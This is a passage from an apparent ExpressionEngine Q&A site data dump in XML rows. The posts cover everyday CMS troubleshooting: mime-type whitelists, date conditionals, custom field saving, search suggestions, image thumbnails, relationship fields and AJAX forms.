ideas?&lt;/p&gt;&#xA;" OwnerUserId="727" LastActivityDate="2015-08-10T17:27:15.047" Title="Undefined variable: whitelist whenever trying to interact with files" Tags="|file-uploads|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32593" PostTypeId="2" ParentId="32592" CreationDate="2015-08-10T13:05:20.400" Score="2" Body="&lt;p&gt;Did you run an EE upgrade recently?? They changed how they detect mime types:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/about/changelog.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/about/changelog.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the change log for 2.10. They use a different mime-type library now... sounds like you upgraded, but it's possible your PHP version is out of date or missing a required module... please let us know your EE version, if you've upgraded, and your PHP and Apache version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Ahhhh... check out this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system/expressionengine/config/mimes.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does it look like this, and does it have file permissions set to 664??&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$whitelist = array(&#xA;    'application/csv', // .csv&#xA;    'application/epub+zip', // .epub&#xA;    'application/excel', // .csv, .xl, .&#xA;&#xA;    /* and so on ... */&#xA;&#xA;    'video/x-ms-wmv', // .wmv&#xA;    'video/x-msvideo', // .avi&#xA;    'video/x-sgi-movie', // .movie&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's possible, that for some reason, that file wasn't updated. They changed the variable name of how they stored mime types as well.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-10T17:27:15.047" LastActivityDate="2015-08-10T17:27:15.047" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32594" PostTypeId="1" CreationDate="2015-08-10T13:25:31.720" Score="0" ViewCount="66" Body="&lt;p&gt;I'm using publisher, and was wondering if it's possible to filter entries by approval status. We only want to show published entries with no pending approvals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting a lot of incomplete entries.&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2016-04-16T07:21:06.747" Title="Only show entries with no pending approval" Tags="|publisher|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32595" PostTypeId="2" ParentId="32589" CreationDate="2015-08-10T13:35:33.390" Score="0" Body="&lt;p&gt;Hrmmm... weird one (I think).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try expanding and adding carriage returns to your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freeform:mp_data:FIELD_NAME}&#xA;&#xA;    {freeform:mp_data:FIELD_NAME}&#xA;&#xA;    &amp;lt;br/&amp;gt;&#xA;&#xA;    TESTING !!!&#xA;&#xA;    &amp;lt;span&amp;gt; SPANNING! &amp;lt;/span&amp;gt;&#xA;&#xA;    &amp;lt;!-- COMMENTING! --&amp;gt;&#xA;&#xA;    &amp;lt;br/&amp;gt;&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do you get?&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-10T13:35:33.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32596" PostTypeId="2" ParentId="32591" CreationDate="2015-08-10T13:44:57.957" Score="0" Body="&lt;p&gt;You could use the add on &lt;a href=&quot;https://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;CP CSS &amp;amp; JS&lt;/a&gt; to hide the button with CSS as you already suggest yourself. I know there are options to check for member privileges in add-ons but I don't know them off the top of my head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use this code in your module. &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/session.html&quot; rel=&quot;nofollow&quot;&gt;More info&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (ee()-&amp;gt;session-&amp;gt;userdata('group_id') == 1)&#xA;{&#xA;    exit('A Superadmin');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="6205" LastEditDate="2015-08-10T13:53:21.997" LastActivityDate="2015-08-10T13:53:21.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32597" PostTypeId="1" AcceptedAnswerId="32715" CreationDate="2015-08-10T14:05:36.113" Score="0" ViewCount="191" Body="&lt;p&gt;I'm creating a custom field type. But the data isn't being saved to the database. There are several values that are being combined into a string, divided by a pipe character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the &lt;code&gt;save()&lt;/code&gt; function, and it returns the string that I want to have saved in the database. But when I check the database, the field is empty, or has only one character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example string: &lt;code&gt;http://s3-eu-west-1.amazonaws.com/xyz/xyz/filename.jpg|55|170|541|541|1:1|260|260&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But actually, it doesn't matter what string it is. It never gets saved. Or in some cases only the first letter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could I be doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: the save function itself&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save($data)&#xA;    {&#xA;        $content = FALSE;&#xA;        $custom = array();&#xA;&#xA;        foreach($this-&amp;gt;custom_fields as $key)&#xA;        {&#xA;            $val = ee()-&amp;gt;input-&amp;gt;post($key.'_field_id_'.$this-&amp;gt;field_id);&#xA;            $custom[] = $val;&#xA;&#xA;            if (strlen($val)&amp;gt;0)&#xA;            {&#xA;                $content = TRUE;&#xA;            }&#xA;        }&#xA;&#xA;        $toReturn = &quot;&quot;;&#xA;&#xA;        if ($content)&#xA;        {&#xA;            $toReturn = utf8_encode(implode('|', $custom));&#xA;        }&#xA;&#xA;        return $toReturn;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1018" LastEditorUserId="1018" LastEditDate="2015-08-10T14:33:06.043" LastActivityDate="2015-08-18T17:22:58.133" Title="Custom Field Type - Data is not being saved" Tags="|custom-fields|database|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32598" PostTypeId="1" CreationDate="2015-08-10T14:06:41.520" Score="0" ViewCount="62" Body="&lt;p&gt;Im using this code which as of todays date should display 11 Sept but instead it displays 20 Feb?? Cant figure out what is wrong&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%d.%m&quot;} &amp;gt;= 06.11 &amp;amp;&amp;amp; {current_time format=&quot;%d.%m&quot;} &amp;lt;= 07.01}&#xA;6 Jan&#xA;&#xA;{if:elseif {current_time format=&quot;%d.%m&quot;} &amp;gt;= 06.01 &amp;amp;&amp;amp; {current_time format=&quot;%d.%m&quot;} &amp;lt;= 21.02}&#xA;20 Feb&#xA;&#xA;{if:elseif {current_time format=&quot;%d.%m&quot;} &amp;gt;= 20.02 &amp;amp;&amp;amp; {current_time format=&quot;%d.%m&quot;} &amp;lt;= 28.03}&#xA;27 Mar&#xA;&#xA;{if:elseif {current_time format=&quot;%d.%m&quot;} &amp;gt;= 27.03 &amp;amp;&amp;amp; {current_time format=&quot;%d.%m&quot;} &amp;lt;= 16.05}&#xA;15 May&#xA;&#xA;{if:elseif {current_time format=&quot;%d.%m&quot;} &amp;gt;= 15.05 &amp;amp;&amp;amp; {current_time format=&quot;%d.%m&quot;} &amp;lt;= 04.08}&#xA;3 Aug&#xA;&#xA;{if:elseif {current_time format=&quot;%d.%m&quot;} &amp;gt;= 03.08 &amp;amp;&amp;amp; {current_time format=&quot;%d.%m&quot;} &amp;lt;= 12.09}&#xA;11 Sept&#xA;&#xA;{if:elseif {current_time format=&quot;%d.%m&quot;} &amp;gt;= 11.09 &amp;amp;&amp;amp; {current_time format=&quot;%d.%m&quot;} &amp;lt;= 07.11}&#xA;6 Nov&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="249" LastEditorUserId="249" LastEditDate="2015-08-10T14:18:50.000" LastActivityDate="2016-06-02T04:17:21.550" Title="Date conditionals not working as they should" Tags="|conditionals|date|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32599" PostTypeId="2" ParentId="32598" CreationDate="2015-08-10T15:10:15.227" Score="0" Body="&lt;p&gt;&lt;code&gt;{current_time format=&quot;%d.%m&quot;}&lt;/code&gt; is not a number (integer or decimal)&#xA;Try putting what your comparing to in double quotes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{current_time format=&quot;%d.%m&quot;} &amp;gt;= &quot;06.11&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it should perform a string comparison and not a numeric one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I just tested this and it works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%d.%m&quot;} &amp;gt;= &quot;18.08&quot; &amp;amp;&amp;amp; {current_time format=&quot;%d.%m&quot;} &amp;lt;=&quot;18.09&quot; }Sept 11 {if:else}Ooops{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="315" LastEditorUserId="315" LastEditDate="2015-08-18T15:21:58.223" LastActivityDate="2015-08-18T15:21:58.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32600" PostTypeId="1" AcceptedAnswerId="32610" CreationDate="2015-08-10T16:12:14.727" Score="0" ViewCount="98" Body="&lt;p&gt;We've trying to show suggested searches and initially hoped that the new &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/lexicon&quot; rel=&quot;nofollow&quot;&gt;lexicon&lt;/a&gt; and &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#suggestions-tag&quot; rel=&quot;nofollow&quot;&gt;suggestions-tag&lt;/a&gt; would help but they do not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couple of examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added sennheiser as a lexicon, search for sennheizer, sennhiser. it returns the suggestions as we would expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, so good :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching for senhizer returns no results and no suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also have company names we want to add such as i-Movix. When we try adding them as a lexicon it says 'i-Movix' is not a valid word.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to improve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current results tag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{exp:low_search:results&#xA;    query=&quot;{segment_2}&quot;&#xA;    {if get:collection}channel=&quot;{get:collection}&quot;{/if}&#xA;    require_query=&quot;yes&quot;&#xA;    limit=&quot;10&quot;&lt;br&gt;&#xA;    paginate=&quot;bottom&quot;&#xA;    status=&quot;not closed&quot;&#xA;    disable=&quot;member_data|category_fields&quot;&#xA;    orderby=&quot;date&quot;&#xA;    keywords:loose=&quot;both&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2015-11-09T05:04:41.663" Title="Suggested keyword or alternative search results" Tags="|low-search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32601" PostTypeId="2" ParentId="32565" CreationDate="2015-08-10T16:30:54.400" Score="0" Body="&lt;p&gt;Here is an example from the CE Image user guide (&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{grid_gallery:pop_up_photo}&quot; class=&quot;thumbnail img-hover&quot; rel=&quot;image&quot; title=&quot;{grid_gallery:caption}&quot; &amp;gt;&#xA;    {exp:ce_img:pair src=&quot;{grid_gallery:small_photo}&quot; max=&quot;100&quot;}&#xA;        &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;    {/exp:ce_img:pair}&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This example would convert your image to have a maximum width and maximum height of 100 pixels. CE Image also caches files (I believe), so it wouldn't do the image resize every time, just whenever the image changes. If you are having issues getting this plugin to work, first verify that it is installed. Visit this page in your Control Panel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your Website -&amp;gt; CP Home -&amp;gt; Add-ons -&amp;gt; Plugins&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And make sure you see CE Image listed there. You also need to make sure some paths are created and have the correct permissions to use this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/installation&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/installation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That link will guide you if you're still having issues. Lastly, your best option to figuring out this plugin, is to play with it! Create a template that only SuperAdmins can see, and test it out! Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:pair src=&quot;https://ellislab.com/asset/css/img/logo.png&quot; width=&quot;200&quot; height&quot;400&quot;}&#xA;    &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;{/exp:ce_img:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; You don't need &lt;strong&gt;two&lt;/strong&gt; images anymore! Just one!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{grid_gallery:pop_up_photo}&quot; class=&quot;thumbnail img-hover&quot; rel=&quot;image&quot; title=&quot;{grid_gallery:caption}&quot; &amp;gt;&#xA;    {exp:ce_img:pair src=&quot;{grid_gallery:pop_up_photo}&quot; max=&quot;100&quot;}&#xA;        &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;    {/exp:ce_img:pair}&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming &lt;code&gt;{grid_gallery:pop_up_photo}&lt;/code&gt; is your full sized image, what the previous code block does is link to your full size image (the anchor tag), and puts a thumbnail img tag inside that anchor. The &lt;code&gt;{made}&lt;/code&gt; tag is a link to the new, converted, and in this case, shrunken image. The &lt;code&gt;{width}&lt;/code&gt; and &lt;code&gt;{height}&lt;/code&gt; tags come from whatever you set them as (in this case, since we set a &lt;code&gt;max&lt;/code&gt; parameter, CE Image will scale it down until neither width or height is above 100 pixels).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to generate guaranteed width and height thumbnails, you would just set those parameters instead of &lt;code&gt;max&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:pair src=&quot;{grid_gallery:pop_up_photo}&quot; height=&quot;128&quot; width=&quot;64&quot;}&#xA;    &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;{/exp:ce_img:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-26T01:12:33.890" LastActivityDate="2015-08-26T01:12:33.890" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32602" PostTypeId="2" ParentId="32594" CreationDate="2015-08-10T16:31:48.113" Score="1" Body="&lt;p&gt;If you look at the documentation you'll see an {has_pending_approval} variable. &lt;a href=&quot;http://boldminded.com/add-ons/publisher/template-tags&quot; rel=&quot;nofollow&quot;&gt;http://boldminded.com/add-ons/publisher/template-tags&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2015-08-10T16:31:48.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32603" PostTypeId="1" AcceptedAnswerId="32604" CreationDate="2015-08-10T17:20:26.623" Score="1" ViewCount="35" Body="&lt;p&gt;How can I modify the code to show ONLY templates that have changed? I think it kind of ludicrous to show unchanged templates in the Synchronize Templates page.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2015-08-19T20:28:56.043" Title="Admin-&gt;Synchronize Templates, show Only changed?" Tags="|templates|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32604" PostTypeId="2" ParentId="32603" CreationDate="2015-08-10T17:32:11.923" Score="1" Body="&lt;p&gt;You need to write an ExpressionEngine Accessory. Accessories allow you to inject code into Control Panel pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/accessories.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/accessories.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please go that route, and &lt;strong&gt;not&lt;/strong&gt; the &quot;let's edit core files derp derp&quot; route. You can use this method to inject some jQuery using a function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;cp-&amp;gt;add_to_foot('&#xA;&amp;lt;script&amp;gt;&#xA;    $(document).ready(function(){&#xA;        $('.class-of-unchanged-template-rows-goes-here').remove();&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This answer has a more thorough example of how an accessory is structured:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/15457/include-custom-javascript-in-the-control-panel&quot;&gt;Include custom JavaScript in the control panel&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-08-10T17:32:11.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32605" PostTypeId="1" CreationDate="2015-08-10T17:33:53.080" Score="0" ViewCount="142" Body="&lt;p&gt;I'm trying to build a channel form for updating channel entry data. In this scenario, I'm relating a farmer to multiple butchers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:update_form}&#xA;    ...&#xA;    &amp;lt;ul id=&quot;slaughterhouses&quot;&amp;gt;&#xA;        &amp;lt;li class=&quot;selected&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;{f_butchers:title}&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; name=&quot;f_butchers[data][]&quot; value=&quot;{f_butchers:entry_id}&quot; checked/&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    ...&#xA;{/exp:zoo_visitor:update_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This entry currently has 2 selected butcher entries selected. But only one is rendered on the template. &lt;strong&gt;I've tried wrapping the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; element in &lt;code&gt;{f_butchers}&lt;/code&gt; pair tags to no avail.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, wrapping them in &lt;code&gt;f_butcher&lt;/code&gt; pair tags breaks the template parser and I get &lt;code&gt;{f_butchers:title}&lt;/code&gt; instead of the actual butcher title. But once I wrap those pair tags in the &lt;code&gt;{exp:zoo_visitor:details}&lt;/code&gt; pair tag, I get the one entry again. Still doesn't output the second entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default &lt;code&gt;{field:f_butchers}&lt;/code&gt; won't be enough since I need to do custom styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to correctly template this field data?&lt;/p&gt;&#xA;" OwnerUserId="2916" LastEditorUserId="2916" LastEditDate="2015-08-10T17:40:38.563" LastActivityDate="2016-06-13T09:50:52.150" Title="How to template a relationship field with multiple relations" Tags="|safecracker|relationships|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32606" PostTypeId="2" ParentId="32605" CreationDate="2015-08-10T17:37:24.043" Score="0" Body="&lt;p&gt;... broheim, you have to use relationships as a variable &lt;strong&gt;pair&lt;/strong&gt; to loop over it, otherwise it just outputs one entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:update_form}&#xA;    ...&#xA;    &amp;lt;ul id=&quot;slaughterhouses&quot;&amp;gt;&#xA;        {f_butchers}&#xA;        &amp;lt;li class=&quot;selected&quot;&amp;gt;&#xA;            &amp;lt;label&amp;gt;{f_butchers:title}&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; name=&quot;f_butchers[data][]&quot; value=&quot;    {f_butchers:entry_id}&quot; checked/&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {/f_butchers}&#xA;    &amp;lt;/ul&amp;gt;&#xA;    ...&#xA;{/exp:zoo_visitor:update_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok... stupid question, but are you sure both relationship entries have a status that is displayable, IE, status = &lt;strong&gt;Open&lt;/strong&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-10T17:39:52.293" LastActivityDate="2015-08-10T17:39:52.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32607" PostTypeId="1" CreationDate="2015-08-10T18:15:11.760" Score="0" ViewCount="184" Body="&lt;p&gt;Not sure if this is an XID issue or what, but occasionally it will be successful but 99% of time it fails.  I want someone to seamlessly turn on &quot;vacation mode&quot; by just checking radio button without submit button or refresh... it goes and just sets a variable in database and spits out &quot;success or fail&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using same custom ajax code throughout site and it works except this one page.  I'm sending a hidden XID, and tried stripping it down as much as possible.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error it spits out for me (which i have no clue what that means):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- ra:000000007029234a0000000076a13fa1 --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my form basically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;vacationModeForm&quot; class=&quot;clearfix vacationModeForm&quot; id=&quot;vacationModeForm&quot; action=&quot;{site_url}ajax/set_vacation_mode&quot; method=&quot;POST&quot; data-postback='vacationPostback' &amp;gt;    &#xA;&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;wk{embed:selectedWeek}_Active&quot; value=&quot;0&quot; onchange=&quot;$('.vacationModeForm').submit();&quot; {if wk{embed:selectedWeek}_Active == 0} checked='checked' {/if} &amp;gt; OF&amp;lt;input type=&quot;radio&quot; name=&quot;wk{embed:selectedWeek}_Active&quot; value=&quot;1&quot; onchange=&quot;$('.vacationModeForm').submit();&quot; {if wk{embed:selectedWeek}_Active == 1} checked='checked' {/if} &amp;gt; ON&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the simple ajax template setting a variable (I've stripped down as much as i could and even hardcoded) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;update('pc_users',&#xA;    array(&#xA;        'wk2_Active'  =&amp;gt; '1'&#xA;    ),&#xA;    array(&#xA;        'member_id' =&amp;gt; '1618'&#xA;    )&#xA;);  &#xA;&#xA;if ( (ee()-&amp;gt;db-&amp;gt;affected_rows()) &amp;gt; 0) {&#xA;    echo 'Success...';&#xA;}&#xA;else {&#xA;    echo &quot;Failed&quot;;&#xA;    ee()-&amp;gt;db-&amp;gt;error();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the custom ajax call used throughout.  it gets to the ajax template fine (I removed all the other classes for the .on, as I'm using this on every form throughout site and it works great on at least 10 diff. ajax calls/forms&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('body').on(&quot;submit&quot;, &quot;.vacationModeForm&quot;, function(e){&#xA;    e.preventDefault();&#xA;    var form = $(this);&#xA;    var postback = form.attr('data-postback');&#xA;    // only submit filled in fields so you don't get php undefined&#xA;    var fields = $(this).find(&quot;:input&quot;).filter(function () {&#xA;        return $.trim(this.value).length &amp;gt; 0;&#xA;    }).serialize();&#xA;    console.log('ajax form submitting to: '+form.attr('action'));&#xA;    $.ajax({&#xA;        type:&quot;POST&quot;,&#xA;        url:form.attr('action'),&#xA;        data:fields,&#xA;        dataType:&quot;html&quot;,&#xA;        beforeSend: function() {&#xA;            $('.'+postback+'').show().html('&amp;lt;span class=&quot;fa fa-spinner fa-pulse fa-3x fa-fw&quot;&amp;gt;&amp;lt;/span&amp;gt;');&#xA;        },&#xA;        success: function(response){ &#xA;            $('.'+postback+'').show().html(response);&#xA;            console.log(fields);&#xA;        },&#xA;        error: function(xhr, status, error) {&#xA;          alert(xhr.responseText);&#xA;        }&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6553" LastEditorUserId="6553" LastEditDate="2015-08-10T19:07:55.103" LastActivityDate="2015-08-10T19:07:55.103" Title="Ajax xid form errors without refreshing page" Tags="|ajax|php-errors|xid|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32608" PostTypeId="2" ParentId="32418" CreationDate="2015-08-10T18:31:49.933" Score="0" Body="&lt;p&gt;Common practice in modern sites is that all .js files are loaded at the end of page. How to fix problem with store.js then?&#xA;EE checks if &quot;store.js?v=&quot; is present then adds it if not. If you load all JS files at the end of page with actual store.js file in it, script will never find it and will add it just above those files. If you add all files as snippet (to maintain page easily) then you have duplicates and of course error:  jQuery is not defined&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any news how to solve this issue?&lt;/p&gt;&#xA;" OwnerUserId="6554" LastActivityDate="2015-08-10T18:31:49.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32610" PostTypeId="2" ParentId="32600" CreationDate="2015-08-10T21:08:57.700" Score="0" Body="&lt;p&gt;Answered of GetSat - thanks Low!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The keyword suggestions, by default, uses a Levenshtein algorithm to determine the distance between two words, and limits suggestions by it. Most likely, searching for &quot;senhizer&quot; the distance is simple too far, and therefore the term &quot;sennheiser&quot; is not included. You can try tweaking the parameters: set the distance to 3, or try using Soundex instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As for words with hyphens -- they are currently considered two words. Treating hyphenated words as single words is not supported at the moment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was also thinking about this... if there are specific spelling corrections such as 'senhizer' then the simplest fix would be an additional field for the given channel, say 'search_keywords'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could then be populated with these alternative keywords, added to the collection and given a weight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then searches would result the correct result. :) &lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2015-08-10T21:08:57.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32611" PostTypeId="1" AcceptedAnswerId="32616" CreationDate="2015-08-10T21:23:34.537" Score="0" ViewCount="40" Body="&lt;p&gt;I have a list of tags on my site and want to add an active class to the linked tag based on the URL.  For example, if the user is on the URL &lt;a href=&quot;http://whatever.com/blog/by_tag/control+system+failure&quot; rel=&quot;nofollow&quot;&gt;http://whatever.com/blog/by_tag/control+system+failure&lt;/a&gt;, I want &quot;Control System Failure&quot; from the list of all tags to have the active class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:cloud&#xA;    channel=&quot;blog_entry&quot;&#xA;    limit=&quot;25&quot;&#xA;}&#xA;    &amp;lt;li class=&quot;{if '{segment_3}'=='{websafe_tag}'}active{/if}&quot;&amp;gt;&#xA;         &amp;lt;a 